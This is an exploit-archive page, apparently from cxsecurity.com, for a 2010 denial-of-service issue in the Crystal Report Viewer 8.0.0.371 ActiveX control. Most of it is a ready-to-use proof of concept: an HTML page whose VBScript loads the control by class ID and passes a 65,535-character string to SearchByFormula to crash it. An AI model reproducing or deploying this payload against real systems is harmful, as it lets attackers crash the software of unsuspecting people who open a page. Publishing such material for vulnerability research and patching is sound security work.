Crystal Report Viewer 8.0.0.371 Active-X denial of service

2010.11.04
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

<html> Crystal Reporting Viewer v8.0.0.371 Author: Matthew Bergin Website: www.berginpentesting.com Website: www.smashthestack.org <object classid='clsid:C4847596-972C-11D0-9567-00A0C9273C2A' id='target' ></object> <script language='vbscript'> targetFile = "C:\WINDOWS\system32\crviewer.dll" prototype = "Sub SearchByFormula ( ByVal formula As String )" memberName = "SearchByFormula" progid = "CRVIEWERLib.CRViewer" argCount = 1 arg1=String(65535, "A") target.SearchByFormula arg1 </script>


Vote for this issue:
50%
50%

Comment it here.

Copyright 2025, cxsecurity.com

 

Back to Top